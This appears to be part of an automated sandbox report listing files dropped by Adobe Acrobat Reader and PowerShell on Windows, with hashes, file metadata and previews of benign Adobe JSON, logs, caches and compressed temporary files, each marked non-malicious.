Entropy (8bit):	5.267837950186492
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJfbPtdPeUkwRe9:YvXKXCxDgYvR/ZwHAbGDV8Ukee9
MD5:	3CCCB8C278E9FBBF4D57898E34AF3004
SHA1:	AB1779B504313E49AA7B0A9AA9EA5718965C5EB6
SHA-256:	1C7D5F7D4BF3DE1E9709063B93B038A7DF6D159FD8F64AEEB92F6501E2F4F939
SHA-512:	599DC8A02CA7AEB3E381DF67737D2950E996064F2E795C7214C74BA8D73FF9D0F12AA1B2F791CC1120D49598C164EBCE84EB73B4C7FAB7548ED906E69B202578
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.266957822192277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJf21rPeUkwRe9:YvXKXCxDgYvR/ZwHAbG+16Ukee9
MD5:	A3151F6ADF8623828B5EA6758012E300
SHA1:	368699C5D3AC8BAE2B43C9EB13F7E0BEA559A05A
SHA-256:	6548198E45517EEA3534597D11516CA8B25EB1F9E00A34742689F40089187A08
SHA-512:	CE4F5F72BB28DF973456B76407D55A55831E9470241F74E6640FA2870A48D01F2946F103D837BCD10CFAF0024D2B3B68F48D1EB744D14916A71D265891D4620D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.654832443808216
Encrypted:	false
SSDEEP:	24:Yv6XsJhAamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSs:YvFJhGBgkDMUJUAh8cvMs
MD5:	FCFF63E8520DCF53A36C9116BC208303
SHA1:	D32C9425066892CF343C4F02C54D340A935A9765
SHA-256:	EE95A253FAF714E89047F816AA75F07A135ABFBB3DEF682C6CAF1A07172AE15B
SHA-512:	341871B421AE9EC77ACCF4E29733238AFEB80B9ABE54B55C5B061C9AE0371247D1125FE3259EFE8C3188CCDC419BEBE6A54535AF7F12500C0DD8BB429BB3A1CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.23975523885098
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJfshHHrPeUkwRe9:YvXKXCxDgYvR/ZwHAbGUUUkee9
MD5:	B3DE4C925A8B9E732FDF48FC255BB4F1
SHA1:	F39A53AA2C4794B5ADAC6EC6889A776C2F438994
SHA-256:	9890C7A4B1B3217228AC448879B597029C03AA335515765E3C75FEF95D5C8B7D
SHA-512:	8B002FF9D7C41F4703ABAC7A50417AF95FA36DB2E272A8D6F1244BDEB966E11184EA8AE02F6D55E8DF285AE6DB1FF3D82F81A69455CA5EE1C11F72EA0E80A019
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261908227715753
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJTqgFCrPeUkwRe9:YvXKXCxDgYvR/ZwHAbGTq16Ukee9
MD5:	A763D2513C810B97353D488CC5B42128
SHA1:	6053AB88B7B5A33B34FA44FFE3BA2702A68E83ED
SHA-256:	D4BE99419355A1E5BE6D317270DDD7B2190F640A775A588AB5B2D26419E87A9A
SHA-512:	BDAB9CD2419E8B8319EC38A48249E1D9E8F2CBAC76E9C76FDF10803263B589F1FEBCA8293470B3FEDF6B16FBBB1B36C36FB7AC5651A4C91C3D827B56DD1EAB3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1344117036857435
Encrypted:	false
SSDEEP:	24:YFFa1kaN6GEHayg76SCapBYQRxuJWQjvJ1sj0SU/MinUA2rMi2LSmC9O4fqD/hqs:Y2/6Gkt6GbXvX+vinJi8d4SD/hK7b9G
MD5:	B94E0F1EC8412127B6B62F9BC9A0465A
SHA1:	9CBF0138960FBBF342CFEBD839292EF2C2BCEB2B
SHA-256:	78022028FF1A6510C6032588A7C34C5B95CA17CD619273337CA4D25A5D86C710
SHA-512:	53F2C09DA7CA2EF73E1F2F9C6D200E1E7D302E2AAC65378915649A1AC4C4137A49F22F98F9E044D3DE1A2676B50EAE80D7DD63F6D0E752A04E8260F1F4906DBF
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"854705b45d89dbbbb3287ed595eab4de","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736563002000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8fa19932d4e88c06dc5a180361084103","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736563002000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"26a1f740f5665d7d62ccd79b8071a328","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736563002000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f332ea25eb38fa5c5bfae09f2870a10a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736563002000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9b286ed13ebf7de4f48846d2e80c27db","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736563002000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b4a36d6a79c1fa425e522db1e5d314e2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3180407980760322
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPah4KAYypilIGKAe:lNVms9WfMwbPahVNyl
MD5:	FD836CCDBE285F43F9454FE5450D5577
SHA1:	0E78FFDC3727C0D0611A53D21F587753E771F256
SHA-256:	71EC3B76069524249D024104407182944E9ECB69FDB10F5BE77F3123F0536657
SHA-512:	F8C74C339B785CDECE8E43A70BC2ACCA302870445BD8B18DC2C4E1CBBAD45C8A7FE179F7B25711040ACE0A5950B13C14F15E9C75B4DA70E8D2650D997B3D3CC0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7805437578566752
Encrypted:	false
SSDEEP:	48:7MAxWR1CPmPbPah4KANypilIFqFl2GL7msl:7nxWfMwbPahVYAKVmsl
MD5:	E3CF02B618267C25322EFD6E1027FA3F
SHA1:	1E9DD24CED610401B9C530A56B52237826E9CE36
SHA-256:	25DFBAD588DB92F75E7523F3A05D13682B9AF8F41C83E69A57DFABC78B321AF6
SHA-512:	7D25799917E1E2D1D48C9B2F739FD3581BD8125579DCEF486961CDCA807A2CF15366D67CFA5259291FEE02BEBC274CFD3FEE1928ACABAF2095C77B4BA128D2C7
Malicious:	false
Preview:	.... .c.......`..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgRviLIXcX+ESbj8sUy2O4QMfmYyu:6a6TZ44ADEI+E4j8sb2RLeK
MD5:	85DACAD06FCF188CAC290B53C939367F
SHA1:	90B1418BC760048C182C176CAD3379F4B90D2FB6
SHA-256:	543B162B16D93E2515586EC99B58FF2CC1D15C12D0402E455033BE4DE424E336
SHA-512:	85E14538B65D2098BFBD23DF8C1CF592B0ADBA3AD08FBCAAEF1C276F4670E89965A42EA0EC08BAA65072DFF6DA7F28EA55922389209543EA22A0EF8BF76F2FBD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe0865.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsQINlH:Qw946cPbiOxDlbYnuRK+b6IN9
MD5:	F1E0759D748EBF89C60B65288465F303
SHA1:	F6B2756DD92D6231AC8E4617101B968FAB7BB2C2
SHA-256:	5D0951E6F09105437D3EEAE6FDD384BF36EB18F3104D7EE76611210A6C377234
SHA-512:	26C9FA3DC5B0C88042E47C8E279DA2EEFD6963E53973ACB246467764D4C2409375A1A6F80B758EB86482946BEE8EC89131A962FC4386747A45968C589EA14157
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.3.6.:.4.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fontttvj.hns.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xcebr4oz.klw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-36-37-471.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.3537637398954026
Encrypted:	false
SSDEEP:	384:iblWdb8hh0FzEy+L4q/fSENUwH+dq2y/kn+sKusJ9tOmILOVHi+zPn+32Tpr+xZk:Uxd
MD5:	3E9A08A53283EC81745F4C98166737A7
SHA1:	DC745AF865BC6BCE6598405BB797A8FB3CBA11C2
SHA-256:	5A74874D3B28E6CBCB88F6B016139CF1EDFE2A59231E09F7E579E67A08C2C0E7
SHA-512:	D22B5A024DDA9D7390DAD4F8163062213CA4F355CD992F88ACBD10B13B97122E5919647ADA1D5247C4B66768D29F67598879CE37B4105EB8C7886D888060BABD
Malicious:	false
Preview:	SessionID=4fe67c3a-e63a-446d-8c5c-acac503ba45e.1736562997492 Timestamp=2025-01-10T21:36:37:492-0500 ThreadID=7748 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4fe67c3a-e63a-446d-8c5c-acac503ba45e.1736562997492 Timestamp=2025-01-10T21:36:37:494-0500 ThreadID=7748 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4fe67c3a-e63a-446d-8c5c-acac503ba45e.1736562997492 Timestamp=2025-01-10T21:36:37:494-0500 ThreadID=7748 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4fe67c3a-e63a-446d-8c5c-acac503ba45e.1736562997492 Timestamp=2025-01-10T21:36:37:494-0500 ThreadID=7748 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4fe67c3a-e63a-446d-8c5c-acac503ba45e.1736562997492 Timestamp=2025-01-10T21:36:37:494-0500 ThreadID=7748 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.41715615350139
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbxKcb8Iwkcb1:ceo4+rsCP5w3
MD5:	844DAF96F362049BCCE1E9A2B0EC5323
SHA1:	89842636E5DC3B93AC2C085EB413C074C347EDC5
SHA-256:	FC55D06F6D61E3DEAEDCBA61BD58B66F1EE83C627EA8E8FE612EC07D19FF14B5
SHA-512:	0AEBFE824F759994206939DD2E93D799302692703AD558DAEF3A07DA71F09C821C39A93480CC1F83B6B34A5527B69A2A659BD5CB9C8079BAE3FCC1891D680F55
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\9db2c260-5201-45b0-b5b7-ea5ddff02fee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ae081d90-b2c1-446f-adfd-dc8ab3205f04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\edcedcc5-1d34-46d5-bbfd-1e163d1059a6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
